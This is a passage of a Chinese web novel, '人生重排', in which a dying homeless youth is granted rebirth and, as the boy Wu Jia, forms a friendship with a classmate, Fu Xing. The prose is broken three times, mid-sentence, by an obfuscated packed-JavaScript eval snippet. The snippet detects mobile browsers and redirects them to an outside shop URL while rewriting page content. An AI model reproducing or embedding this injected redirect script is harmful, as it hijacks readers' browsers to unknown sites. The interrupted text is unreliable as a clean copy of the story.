《人生重排》 1. 死亡是开始 寒风抵死嚎叫的雪夜,万物都为这份骇人的寒冷而沉默。 曾经繁华热闹的大街上,只落得凄凉寂寥,唯一有着人形的铜雕像脸上挂满了冰凌,僵硬眉眼好似在无声诉说着痛苦。 没有人愿意在这夺命的苍白中停留。 除非,他没有家。 乌甲就是那个没有家的人。 他一动不动窝在天桥底下,裸露在外的皮肤被冻得失去活性,黝紫的脸颊上,只见伤口龟裂蔓延。 他就像是一尊被丢弃在天桥底的破碎铜雕像。 丝丝风霜毫不留情的顺着绽开的皮肉钻进身体的每个角落,但这点痛意比起骨骼中浩大的疼痛来说,简直微不足道。 像是在骨头上生生锤钉了连满神经的脓包,即使不动弹,痛意也会不断增长,下一秒的疼痛永远比这一秒更加折磨人。 十八岁的乌甲,骨癌已经到了晚期。 因为没有接受过治疗,这具残破的身躯承受着比普通患者更严重的并发症。 他早就无力呻吟,只有那偶尔微颤的黑紫色嘴唇,宣告他尚未死亡。 但很快,翕动的嘴唇也被寒风冻得僵硬,他无生息的坐倒在天桥下,像一堆被遗弃的破布。 这堆霉烂的破布之上,有片格格不入的温暖黄色,像一片遗落的太阳。 这件考究的黄色大衣,不该是属于这的东西。 十分钟前,乌甲尚能睁开右眼,注视那位送他大衣的男人。 男人的嘴张张合合,应该是说了些什么。 但失聪的乌甲听不到男人的话,只能用一只眼注视着男人,看他脱下干净的暖黄大衣,用干净的手将大衣盖在自己身上。 一瞬的温暖,既然让乌甲忘记了所有痛苦。 乌甲颤抖着张开了嘴,但却没法说出一句谢谢,他只能眼睁睁看着那背影淡去,亦如大衣之下逐渐消散的体温。 又一阵催命的寒风席卷而来。 寒风不留情面,也并不喜欢那抹出现在灰暗中的违和暖黄,直直朝着天桥下吹去,猛地夺走了乌甲最后的温暖。 那抹暖黄像是不该出现在深夜的太阳,在乌甲的注视下,哗然飞入天空—— 神总不介意让幸福的人更幸福,让悲惨的人更悲惨。 大衣在风中飘荡,挣扎,摆动,像一个活人在砥砺对抗着寒风,想要回到乌甲身边,拯救即将消逝的灵魂。 乌甲只要能起身举手,就可以拿回那片温暖。 但他没有给出任何反应,不仅是因为他没有起身的气力,更多的是,失去的温暖对乌甲来说很重要,又好像没有那么重要。 他的悲剧已成定局。 意识随飘落的雪花消散,残留的温暖将耗尽,乌甲没有任何反抗死亡的念头,他只想快一点结束这悲惨的人生。 雪下得很安静,像他的死一样安静。 弥留之际,一段短促的走马灯浮现。 因为天生的残疾,加上出生于穷乡僻壤,他很小便被亲人抛弃,流落山野。 那时他不信命,即使半瞎也靠着一双瘸腿硬生生走到了乡镇,又混在运送鸡鸭的车厢中,来到了市区。 他流落街头,但总算是能靠着乞讨果腹,无人乞怜时,小小的他便独自流转于饭店门口,寻找被倒出的残羹冷饭,就这样磕磕绊绊,总算也活到了可以劳动的年纪。 虽然那些繁重到让人麻木的劳动,也只是给他换来了足够的残羹冷饭,但这也很让他满足了。 那时他脸上偶尔能见笑意,也偶尔会想象自己的未来。 但一场突如其来的病痛击碎了未来。 他失去了最后的财富,劳动的能力。 更可怕的是,他没有存下应对疾病的本钱。 经过一系列挣扎求生后,欠下巨债并且濒临死亡的他,穿着一件破旧的破棉袄,独自推着轮椅出了医院。 他甚至没有再找一个住处的想法,勉力将自己推到天桥底下后,便没了动作,在混乱的脑海细数过往,静静等待生命终点的到来。 他潦草悲惨的一生基本上没什么值得可回忆的。 最后,他想到了自己的名字,乌甲。 有人和他说,乌就是少了一只眼睛的鸟,他觉得这个字和他半瞎的模样正相配。 而他又天生没有家,他就想给自己取名叫“家”,但他不认识“家”字,他只认识“甲”,所以最后给自己取名叫乌甲。 再后来,他偶然知道,乌与无同音。 到最后,乌甲也是个无家可归的人。 “恭喜你,作为此时世界上最悲惨的人,你将获得三次人生重排的机会。” 一段突兀的声音响彻脑海,将乌甲原本脱离躯体的意识重重拉回。 乌甲挣扎片刻,居然睁开了眼,他用未瞎的右眼环顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196395|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂静的四周,心中不由纳闷。 自己是……回光返照了? “并不是,我终止了时间,为的是给你一个选择的机会。” 突兀的声音再次响起,乌甲这次终于意识到,这不是他死前的幻觉。 他尝试在脑海中询问:【你是谁?】 “我是这个世界的最高管理者,你可以理解为,我是神。” 神?乌甲懵了片刻,继续在脑海中询问:【你刚才说……我拥有了三次人生重排的机会?】 “是的,因为你现在世界上最悲惨的人,所以你获得了三次人生重排的机会。” 乌甲不明白这两者之间有什么因果关系。 神简单解释:“你可以理解为,你中奖了。” 中奖,这是乌甲从未经历过的事,更何况是这样的大奖,他有些无措的质疑:【我现在是这个世界最悲惨的人?】 “是的,因为你是一个在满十八岁前被冻死的半瞎瘸腿哑巴,除去这些外,你还患有恶性骨质癌,以及数百种慢性病急性病,不仅如此,你还是一个孤儿,你还……” 行了,不用再说了,我知道我是这个世界上最悲惨的人了。 “是此时世界上最悲惨的人。” 不是世界上最悲惨的人,是此时世界上最悲惨的人。 乌甲黝黑的右眼,静静盯着天空中停滞的雪花,他再次向神询问:【人生重排是什么意思?】 “重新开启你的人生,所有初始数据都会重排,家庭,健康,金钱,权力等等都将重新分配。” 【这难道不就是投胎吗?】 “很遗憾,我管辖的这个世界并没有‘投胎’,所有人都只有一次机会,死亡就是所有生命的终点。” 【没有下辈子?】 “是的,不过被选中的你除外,你拥有三次人生重排机会,也就是三个下辈子。” 三个下辈子,三次重来的机会,他或许可以拥有……更好的人生! 乌甲完全呆滞,他无法想象,这样天大的好事,会落在他身上。 但神不会给他消化这个喜讯的机会,只听这无机质的声音再度响起。 “那么,乌甲,你选择人生重排吗?” 乌甲虽然思绪尚未明晰,但心中肯定没有半分拒绝的念头,没等他细想,就被一阵白光刺得眯起了眼。 “生了,是个男孩!” 2. 答案是3 “嘉嘉,记得带上牛奶,妈妈放桌子上了。” 宋玉温对着梳妆台最后检查了一遍自己的妆容,她拿起精致的小提包,对着还在洗漱的乌嘉喊道,“这是你爸爸托朋友从附近牧场带的新鲜牛奶,一定要记得喝完。” 乌嘉满嘴牙膏泡,含糊不清的应了一声,他抓紧时间漱了漱口,赶在在宋玉温出门前一刻,扒着浴室门喊了声,“妈妈再见!” “再见!”宋玉温应声后,便出了门。 浴室中,乌嘉正对着镜子用毛巾擦脸。 热毛巾将早起的困倦吸走,他放下毛巾,看着镜中的自己,有些愣神。 镜中的男孩周身清朗,眼眸纯净,毫无疑问,这是一个优渥环境中长大的幸运儿。 但只有乌嘉自己能看到,那通透眼神的尽头,无法抹去的一抹暗色,那是乌嘉无法忘记的前世。 身体健全,家庭圆满,这是他上辈子做梦都不敢梦到的事。 虽然已经重生了十年了,乌嘉还是有一些不真实感,就像一个乞丐突然变成了国王,整日惶惶不安。 他害怕下一秒乌嘉又会变回乌甲,害怕一睁眼又是那个寒冷的夜晚,害怕现下的一切都只是他临死前的一场美梦。 ——叮铃铃! 刺耳的闹钟响起,将乌嘉拉回现实,他下意识看了一眼墙上的时间,惊觉马上就要迟到了。 他连忙去房间换好衣服,拿起客厅里的书包就要出门,在玄关刚换完鞋,一抬头又看到了那瓶摆在客厅桌上的牛奶。 乌嘉犹豫了几秒,还是把已经绑好的鞋带又解开,重新换回拖鞋去拿那瓶牛奶。 妈妈说过进门前一定要换鞋,所以即使再着急,也要换鞋。 或许是因为心中急切,乌嘉总感觉今天的上学路比往日更加漫长,就连红绿灯上的数字也走得比以前慢一些。 乌嘉跑到教室楼下时,预备铃乍然响起,他看着远在三楼的教室,面露绝望。 好在乌嘉最后还是在老师进门前赶到了教室里,他气喘吁吁的放下书包,也顾不得擦满额头的汗,在书包里开始翻找这堂课的书本。 “乌嘉,你今天怎么迟到了呀。”邻座的小女孩满脸惊奇。 乌嘉找出数学书,翻到今天要学的那一页,对女孩尴尬一笑:“睡过头了。” 他的声音并不大,但还是传到了后座几个男孩耳朵里,他们平时就很不爽乌嘉,听到这话更是以为抓到了乌嘉的小辫子,于是便开始阴阳怪气的起哄。 “原来三好学生也可以睡懒觉迟到的……” “迟到就迟到呗,还找理由。” 充满恶意的嬉闹声不绝于耳,乌嘉面上没什么表情,但蜷缩的手指却暴露了他此时的不安。 这时候,数学老师姗姗来迟,见老师来了,那些嬉闹的男生争先举报:“老师!乌嘉他迟到了!” “对的对的,他睡过头了!” 数学老师看了一眼乌嘉,并没有太大反应,只道,“下不为例。” 几个男生见老师这个态度,顿时悻然,但也不敢多说什么。 乌嘉轻吐出一口气,不追究就好。 他抬起头,看到数学老师身后跟着的陌生男孩,瞬间明白了今天老师来迟的原因。 原来是去接转校生了,如果没有那个转校生,今天他迟到应该就会被老师抓个现行了。 想到这,乌嘉忍不住多看了几眼那个转校生。 转校生有着一头软乎乎的卷毛,卷毛之下是双明亮的大眼睛,嘴角挂着自然上扬的弧度,看上去很是温和无害。 “这是我们班的新成员,傅星。” 数学老师对傅星道,“傅星,做个自我介绍吧。” 傅星点点头,转身在黑板上一笔一画写下名字,歪歪扭扭的笔画看上去有些滑稽,堂下传来一阵阵嬉笑声。 听到笑声,傅星的耳朵不由得红了,他写完名字后,转过身道,“我,我叫傅星,喜欢数学和足球,很高兴能认识大家。” 这并不顺畅的自我介绍,让堂下的学生再次发出笑声,数学老师皱起眉道,“笑什么呢,安静安静,再笑就全都起来罚站。” 笑声并未马上停歇,傅星站在讲台上不安的蜷起了手指,原本笑盈盈的表情也逐渐僵冷了下来,像是有些生气了。 等大家安静下来,老师问傅星,“傅星,你看看你想坐哪。” 傅星环顾班级一圈,最后将目光锁定在乌嘉身上。 他指着乌嘉,抬头对老师道,“我要和他坐。” 大家纷纷看向被选中的乌嘉。 乌嘉眼睛微微睁大,脸上带着困惑,为什么突然就选中了自己,他什么都没做。 数学老师点点头,显然很满意傅星的选择,。乌嘉他是知道的,出了名的好学生,坐他身边,不说别的,良好的学习氛围肯定是有了。 “行,乌嘉附近的都挪一挪,你过去吧。” 傅星走到乌嘉旁边放下书包后,数学老师便开始讲课了。 乌嘉也顾不得这新来的同桌,开始聚精会神听老师讲课,还时不时记下笔记。 虽然他是重生了,但是上辈子他根本没读过书,所以这些知识对于他来说依旧是新的。越来越晦涩难懂的数学让他很是头疼,为保证成绩优异,他必须花费大量时间在这门学科上。 一旁的傅星,自我介绍时说着喜欢数学,但自从坐下后也没怎么听数学老师讲课,而是一直盯着乌嘉看。 乌嘉被他看的不自在,忍不住侧目,但因为还在上课,不好开口说话,他低头在书上写下:你为什么盯着我。 然后将书推到傅星面前,给他看到这行字。 傅星看到这行字后,并没有回答,而是坐直了身体,靠近乌嘉悄声道,“你不问我为什么要和你坐吗?” 乌嘉沉默,他不知道,也不太想知道。 傅星却不管乌嘉想不想知道,他自顾自道:“因为只有你不笑我。” 他站在讲台上,看到了一张张嬉笑的脸,在一堆笑脸中,乌嘉那张平静得毫无波澜的脸格外突兀。 原来是这个理由吗,乌嘉想了想,又在本子上写下:他们也不是在故意笑你。 “那我不管。” 傅星看着乌嘉端正的字,不顾课堂纪律,嘴角上扬道,“反正只有你没笑,我想知道你为什么不笑。” 此时清晨的阳光透过玻璃窗,恰好照在了男孩的脸上,将他蜷缩的发丝都染上了橘色的暖意。 乌嘉看着傅星,有些愣神,只觉得他的笑容有些过于适配热烈的阳光。 “乌嘉。”数学老师的声音划破了乌嘉的神游,他仓皇站起,看向黑板上的问题。 黑板上寥寥几笔写出了一个不算难的数学题,但很遗憾,乌嘉因为刚才的走神,错失了这个知识点。 就在他盯着黑板不知所措时,旁边的傅星突然碰了一下他垂落的手指,随即他听到了一个微弱的声音。 “3,答案是3。” 数学老师听乌嘉给出了答案,点头道,“没错,坐下吧。” 乌嘉坐下后,目光复杂的看向身旁笑眯眯的傅星,只见他用口型对乌嘉道:不用谢。 接下来,乌嘉都在认真听老师讲课,没再出神,一堂课很快过去,在数学老师走出门后,傅星的声音也同时响起。 “乌嘉?你是叫乌嘉对吧。” 傅星从自己的书包里掏呀掏,最后拿出一颗黄色的奶糖,递给乌嘉道,“请你吃糖。” 乌嘉接过奶糖,并没有打开,而是看向傅星道,“谢谢。” 傅星闻言,狡黠的笑了笑,道,“是谢谢我给你糖,还是谢谢我刚才帮你答题?” 乌嘉闻言,沉默了一会,然后道,“谢谢你给我糖。” 如果不是因为你打扰我听课,我也不会答不上那道题,所以不想谢谢你,乌嘉想。 也不知道傅星有没有听出乌嘉的言外之意,他转身又掏出一把糖,全都塞进乌嘉手里,然后道,“那就多给你一些吧。” 看着手中琳琅满目的糖果,乌嘉愣了愣,然后道,“谢谢,但是我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196396|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能吃那么多糖。” “你妈不让?”傅星了然,乌嘉一看就是那种很听话的孩子,妈妈说不让吃就不会吃。 乌嘉点点头,认真道,“你也不要吃那么多,会蛀牙。” 说完,便把糖果放到傅星桌子上,只拿走了最开始那颗黄色的奶糖。 傅星看着乌嘉还给他的糖果,有些犯愁。 这些糖是妈妈让他分给班上的同学的,但因为除了乌嘉外的人都嘲笑了他,所以他不想分给那些人,只想给乌嘉一个人吃。 “那……我先替你收着,以后再给你。”傅星将这些糖果收入书包,道,“一天吃一颗,你妈妈总不会有意见的。” “你为什么不留着自己吃?”乌嘉闻言,有些愣神,为什么要对他那么好。 傅星瘪瘪嘴,道,“我不爱吃糖。” 其实是因为小时候吃太多,然后满嘴牙都坏了,然后被强行带去牙医那一阵捣鼓,从那之后傅星就不敢再吃糖了。 乌嘉看着手中黄色的奶糖,还是没有拆开,而是收进了抽屉里。 傅星没有注意到他的动作,而是看向四周嬉闹的同学,然后对乌嘉道,“乌嘉,你下课都去玩些什么啊?” 乌嘉摇头,道,“我不玩。” 乌嘉并不会主动和同学交流,所以他在班上也基本没什么朋友,下课也是自己一个人看书学习。 “不玩?那怎么行呢?”傅星震惊道,“我妈可是说了,整天坐在屋子里不出门可是会长不高的。” “我妈妈说,多喝牛奶就会长高。”说到这,乌嘉才想起,自己的牛奶还没喝。 傅星满脸热切道,“喝牛奶不晒太阳也会长不高的,你相信我。” 乌嘉开牛奶的手一顿,然后道,“真的吗?” “真的真的,走吧走吧,离上课还有十分钟,我们去阳台转转。”说完,他也不顾乌嘉还拿着一瓶牛奶,拉着人就往外走。 早秋的阳光正是舒适,傅星拉着乌嘉来到一片阳光底下,懒洋洋的眯起了眼。 乌嘉打开手中的牛奶,正要喝,但看到身边的傅星后,犹豫了一下,然后把牛奶递给他,道,“你要喝吗?” 傅星看着乌嘉手中的牛奶,歪头道,“我喝了你喝什么。” 乌嘉刚想说他不喝也没事,但妈妈叮嘱的模样浮现在他脑海里,他只好话锋一转,道,“我们一人一半。” “你不嫌弃我?”傅星闻言,接过了他手里的牛奶。 乌嘉看着傅星,下意识道,“不会。” 男孩虽然性格有些跳脱,但举止并不粗狂,衣服也是整洁考究,整个人透着清爽干净。 傅星也没在推辞,仰头喝下一口牛奶,冲人的奶腥味让他眉头一皱,他咽下嘴里的牛奶,努力控制表情,委婉评价:“好浓的奶味儿。” “不好喝?”乌嘉接过瓶子,道,“是爸爸托朋友从牧场带回来的。” 难怪奶腥味那么重,傅星擦擦嘴,笑着道:“我其实不爱喝牛奶,因为你问了我,我不想拒绝,我才喝了一口。” 乌嘉被傅星的真诚镇住,良久才点头,然后面不改色的喝完了一整瓶牛奶。 傅星看得心生佩服,忍不住伸出拇指:“你太厉害了。” 乌嘉不懂这有什么厉害的,正要开口,上课预备铃却在此时打响。他连忙将奶瓶丢进垃圾桶,拉起傅星赶向教室,生怕再次迟到。 傅星措不及防被扯得一起跑了起来,他看着乌嘉仓皇的背影,不由失笑:“预备铃而已。” 乌嘉也意识到自己有些急了,于是松开了傅星的手。 可傅星这时却又反手握住了他的手,乌嘉疑惑侧头,只见傅星笑着道,“我看到老师要进教室了。” 乌嘉抬头,果然在走廊尽头看到了一个高大的身影,还没等他反应,傅星便拉着他跑得更快了。 两只小小的手紧紧抓在一起,像是联系的纽结,将他们自此捆绑。 那时的乌嘉心中想的却是,如果他跑得有傅星那么快,今天早上就不会迟到了。 3. 星星是星星 之后的每天,傅星都会给乌嘉一颗糖。 乌嘉最开始还会婉拒,但最后发现,无论他怎么拒绝,傅星都还是会把那颗糖悄悄放进他的书桌里。 “一定要给我吗?” 乌嘉看着书桌里琳琅满目的糖果,无奈道,“你可以给班上其他的同学。” “才不要。”傅星撇嘴道,“我可记仇了。” 乌嘉语塞,果然是小孩子心性。 “怎么,你不喜欢糖吗?” 傅星倾身盯着乌嘉,盯着盯着,眼尾一垂,可怜兮兮道:“我只有你一个朋友,我只想给你。” 朋友?乌嘉愣了愣,原来自己已经是他的朋友了吗? 见傅星那双水汪汪的大眼睛眨得起劲,乌嘉回神,道:“你把这些糖分出去,你会拥有很多朋友。“ “我不要用糖换来的朋友。” 傅星一下收起了那副可怜的模样,他趴在桌上,对乌嘉道,“我就要你这种不要我的糖,也愿意和我做朋友的朋友。” 好拗口,乌嘉脑子转了一会,才理解了傅星的意思。 他心中有些震惊,没想到傅星想得比他深多了,不求回报的友谊才更为可贵。 “对了,嘉嘉,你家在哪?” 傅星抬头,看着乌嘉道,“我每次都想和你一起放学回家,可是一放学你就跑没影了。” 乌嘉从书包里掏出牛奶,边开瓶子边道,“向华小区,我想快点回家,太晚回去的话爸妈会担心。” “我住你们小区对面!”傅星闻言,兴奋道,“我们一起放学回家吧。” 看着傅星满脸期待的表情,乌嘉生不起半分拒绝的念头,他嘴角微勾,道:“好。” 最后一堂课是班会,班主任几分钟前就因为有事离开教室了,托班长看着班上的纪律。但临近放学,大家心中都难压心中兴奋,教室里一下子吵闹得连班长都无力管理。 傅星生无可恋的趴在桌上,今天一天都是文化课,没有一节活动课,不是背书就是写作文,可把他憋坏了。 乌嘉从书中抬眼,看向黑板上的挂钟,见时间差不多了,便放下书开始收拾东西。收拾完,他看向身旁像是被吸干精气的傅星,也是忍不住笑出声。 “你笑什么。”原本还很颓废的傅星,看到乌嘉笑了后,嘴角也不由勾起。 他起身捏住乌嘉的脸颊,道,“你笑我。” 傅星并没有用力,但也捏得乌嘉呜呜说不出话,他突然想起傅星不喜欢别人笑他,于是连忙收起笑意,艰难道,“五不似嘲笑你。” 看到乌嘉皱眉,傅星终于收回了手,他看着乌嘉道:“那你笑什么。” 乌嘉见傅星没有半分生气的模样,才放下心来,他揉了揉自己微红的脸,认真道,“看你趴在那,像一只没力气的小狗,很可爱。” 傅星闻言,先是一顿,半晌才反应过来乌嘉说了什么,耳朵渐渐红了。他移开目光,侧头又趴在了桌子上,低低道,“哪有……” 看着傅星后脑勺那柔软的卷毛,乌嘉很想上手揉一揉,但终是没有下手。 见时间差不多了,乌嘉伸出一根手指戳了戳傅星,小心翼翼道,“傅星,我要回家了。” 傅星闻言,连忙起身收拾东西,随便抄了几本书塞进书包,急急道,“马上马上。” 乌嘉看着傅星拿的那几本书,皱眉道,“课外作业不是这几本……” “不管了,反正我也懒得做。”傅星拉上书包拉链,起身道,“我收拾好了,走吧。” “……好吧。” “乌嘉。”就在两人准备走时,一个男生叫住了乌嘉。 乌嘉回头看到那个叫孙宇的男生,眼神变了变,这个男生平时总喜欢找他麻烦。 果不其然,孙宇吊儿郎当的扯住乌嘉书包,不怀好意道:“课后习题你做完了吧,给我带回家抄抄呗。” 一旁的傅星听到这话,皱起了眉,没等乌嘉开口,他直接道,“你是不带脑子回家吗?自己做去,嘉嘉凭什么借给你。” 孙宇一听也来气了,瞪着傅星道,“你个新来的狂什么?你以为你是谁?信不信我让你在这个学校过不下去” 傅星白眼一翻,敷衍:“我好害怕哦。” 说完,也不管孙宇脸色,拉着乌嘉就走了。 乌嘉回头看了眼暴跳如雷的孙宇,不安道,“这样没关系吗?他报复你怎么办?” “等他来了再说。”傅星满脸无所谓,忽然,他好像想到了什么,停下了脚步,露出耐人寻味的表情。 乌嘉看着傅星的变化,还以为他害怕了,登时心生愧疚,忧心道,“怎么了?你别怕,到时候我肯定会保护你……” “我记得那孙子的妈妈会在校门口接他对吧。”傅星转头看向乌嘉,眼中闪过精光。 乌嘉愣了一会,才明白过来傅星在说孙宇,他点点头道:“是的,他妈妈每天都来,怎么了?” “这就好办了……”傅星笑着点点头,拉着乌嘉往校门口走去。 孙宇没能借到作业抄,一脸不忿的朝着校门口走去,还没走到校门口,便远远看到自己妈妈正跟别人聊着天。 他定睛一看,那两个人,不正是乌嘉和傅星吗。 “我们也是不想让孙宇受到老师的处罚,才选择先来跟阿姨您说,希望您以后可以好好监督孙宇。” “是的是的,你们都是好孩子,我会好好管管他的。” 见孙宇来了,傅星也不打算再多说什么,与他妈妈礼貌道别后,便拉着乌嘉走了。乌嘉回头看了一眼满脸疑惑的孙宇,眼神很复杂。 孙宇妈妈瞪着孙宇,皮笑肉不笑道,“回家和你算账。” 说完,便拉着眼中满是惊恐的孙宇走了。 早秋时节,街边的银杏叶已经开始变黄,但尚未有落下的趋势,在微风吹拂下,掀起一阵阵金浪。 两个小少年并肩走在银杏树下,斑驳的阳光洋洋落在他们身上,为归家的路增添一闪一闪的趣味。 “嘉嘉,嘉嘉……” 傅星百无聊赖的念叨着,随即像是突然想到了什么,看向乌嘉道,“你爸妈也是叫你嘉嘉吗。” “是的。” 乌嘉点头,他现在其实有些不自在,长那么大还没和别人一起放过学,他想了想,也问道:“你爸妈叫你什么?” 傅星道:“我妈叫我好大儿,我爸叫我好小子。” 好新奇的称呼,乌嘉道:“听上去,你爸妈一定是很有趣的人。” 傅星想了想,道:“还行吧,就是很多时候不靠谱。” “这样吗。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196397|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呐。”说到这,傅星就满脸无奈,“上次说带我去滑雪,然后他两玩得起劲,回到家之后才发现把我落在滑雪场了。” “……怎么会这样。”乌嘉瞬间震惊。 傅星想到这件事就有些生气,他非常怀疑他们根本就是自己想滑雪了,带他只是借口。 “也没什么大事,后面也跟我道歉了,还为了弥补还带我去了游乐场。” 乌嘉闻言,点点头道,“那也……” “可是他们又在游乐场把我弄丢了。”傅星满脸无语,两个人一进游乐场就跟脱缰的野马一般,他撵都撵不上。 乌嘉这次是真的不知道说什么了,顿时觉得傅星有些可怜了,忧心道,“那最后是怎么找到你的呢。” “他们没来找我。”傅星淡淡道,“是我自己去广播站找的他们。” 当时游乐场的广播,足足全场播报了十遍,才把这对走丢的父母给找回来。 “啊……”乌嘉嘴巴微张,半晌才道,“那你也很厉害。” “害,不说这个了。”傅星看向乌嘉,道,“你几月份生日?” “十二月。”怎么突然问这个,乌嘉疑惑道,“怎么了?” “那你得叫我哥哥。”傅星闻言,翘起嘴角道,“我一月份。” 乌嘉闻言,心中纠结,半晌垂眸道,“……不叫行吗?” “为什么?”傅星不依不饶道,“你叫我哥哥,我罩你一辈子。” 怎么说呢,他上辈子活了十八年,这辈子活了十年,算起来也二十八了,叫傅星这个三年级小学生哥哥,着实有些为难了。 乌嘉不知道怎么拒绝,只能红着脸道,“我叫你星星吧,很好听的。” 星星? 傅星忽然愣在了原地,脑海中不愉快的记忆被勾起,几个笑容顽劣的面孔,刺耳又尖锐的嘲笑。 “猩猩!猩猩!你看他一头黄卷毛,真的像一只大猩猩!” 他们围着自己,一圈圈旋转嘲笑,像聒噪的学舌鸟,用最直白的恶意伤害最脆弱幼小的心脏。 扭曲的笑脸慢慢变得模糊,乌嘉那张平静温和的脸出现在傅星面前,他眼中闪着干净的光,不见半分嘲笑。 傅星从记忆中回笼,难得皱起了眉,低声回道:“哪里好听了,听上去很傻。” “怎么会。” 乌嘉闻言停下脚步,看着傅星,认真道:“挂在天上闪闪发光的星星,只会让人觉得很温暖吧。” 此时,一阵微风吹动了他们头顶的银杏叶,满地光斑撒在两个小小的身影上,移动,闪烁。 破碎的光就像乌嘉描绘的星星一样,亮在了傅星眼里,照进了心中破开的一角。 他明白,乌嘉和那些嘲笑他的人不一样。 “行吧。” 傅星收回目光,神情也松散了下来,他看向前方的路,一字一句道,“只有你可以叫我星星。” 乌嘉微愣,只有他可以叫吗? 还没等他问出为什么,这段共行的路就已经走到了尽头。只见傅星走向岔路,对他笑着摆手:“再见,嘉嘉。” “再见,星星。” 又是一阵风刮来,吹下了早秋的第一片落叶。 金黄的树叶在空中飘转,摆动,滑过了现在,最后坠落进两个少年的过往中。 4. 你才是太傻了 “傅星!” 满身汗水的少年一把推开门,大声呼唤:“傅星!踢球去!” 原本独自沉浸在知识中的少年,听到这个熟悉的名字后,不由抬起头来,露出了白净的脸庞。 清秀温和的模样本该让人觉得亲切,但那双违和的眼眸,生生将这份亲切便顿时被消磨。 他的眸色很浅,眼神总带着无机质的平静,乍看是蕴含万众愁绪,细看又是空洞无物。 “他不在。”乌嘉回应完那个冒着热气的少年,又垂下了头,将目光放回书本。 不在?宋烨环顾一圈教室,真不见傅星半个影子,挠了挠头,奇怪道,“真是有鬼了,才刚放学就没影了,平时不是就在这里等着吗……” 乌嘉听到这话,写字的手微顿了一下,并没有回答宋烨。 见乌嘉没有理自己的意思,宋烨耸肩,转身离开了教室,打算去找别的小伙伴。 随着脚步声渐远,空旷的教室又变得安静下来,只剩下刷刷的书写声,不知为何,他书写声的频率越来越慢,乌嘉微微出神,心中默数,三,二…… 一。 咣当,一阵响动,教室后方存放扫把的铁皮柜打开,一个身影从里面闪出。 傅星嫌弃的拍走身上的灰,边拍边道,“里面臭死了……” 少年已初见成人的轮廓,唯一和小时候一样的,是那双水汪汪的长睫大眼。配上总微扬的嘴角,俊朗清爽的傅星,恰到好处的从一群苦于发育的初中生中脱颖而出。 “为什么要这样躲他,你不是喜欢踢球吗?”乌嘉放下笔,将打开的书本合好,规整的叠在一起,又一本本放进整洁的书包里。 傅星长手长脚,几步窜到乌嘉身边坐下,道,“不想天天去。” 说到这,傅星神情微变,主要是……去踢球,就不能和嘉嘉一起回家了。 当初本是因为想让嘉嘉意识到自己的重要性,傅星才说去足球社,好让嘉嘉知道什么叫“小别胜新婚”,结果嘉嘉不仅接受良好,还真就不等他一起回家。 最后耐不住的还是傅星,宁愿躲着足球社的人也不再肯去训练,他一点都不想自己一个人回家。 傅星焉了焉,他撑着脸,眼神落到乌嘉手上,目不转睛盯着收拾东西的动作。 细白的手指轻轻触碰着文具,将这些干净的物件一件件放好,微红的指尖捏起拉链,顺滑的合上书包。 “好了,走吧。”乌嘉收拾好东西,起身背好书包,看向还在发愣的傅星。 傅星回神,嗖得站起,撞得桌椅一阵响动。他顾不上撞得微微发痛的大腿,随手抄起挂在桌边的书包,道,“走,回家。” 乌嘉皱起眉,道,“你不打算带本书回去?” 傅星颠了颠空荡荡的书包,故作认真道,“算了吧,我爸妈也不爱看这个。” 乌嘉语塞,半晌才道:“什么叫你爸妈也不爱看这个,难道我是叫你带的什么特产给你爸妈?” “哈哈哈哈哈哈哈,我开玩笑的。” 傅星背上书包,笑得眼睛弯起,道,“你知道的,我不喜欢在家看书。” 乌嘉也不勉强他,自顾自走出教室道,“反正语文考不好的不是我。” 傅星追上乌嘉,笑道,“也就那几篇诗背不出,数学英语物理化学历史是一个没落下,嘉嘉你就放过我吧。” “你又不是背不出。”乌嘉侧目,看向这个比自己高了大半头的少年,道,“能做到的事情为什么不去做。” 两人虽然一起长大,但身材上不知不觉就有了差距。傅星身高直逼一八零,而乌嘉虽然每天坚持喝牛奶,身高还是在一七五徘徊。 在身高超过乌嘉的那天,傅星开心的哈哈大笑,一直说是乌嘉不爱运动才会有这个结果。乌嘉倒是不怎么在乎,他比傅星年纪小了快一岁,有这个差距也算正常。 “背这些有什么用啊。” 傅星伸个懒腰,道,“难道谁说话还突然蹦出一句诗来,真是乱花渐欲迷人眼,绿杨阴里白沙堤。” “是乱花渐欲迷人眼,浅草才能没马蹄。”乌嘉纠正完,又道,“诗句可以来抒发心情,说话的时候是可以带上的。” 傅星闻言,想象了一下一个每天诗词挂在嘴边的人,不由失笑:“那也太傻了吧。” “你才是太傻了。” 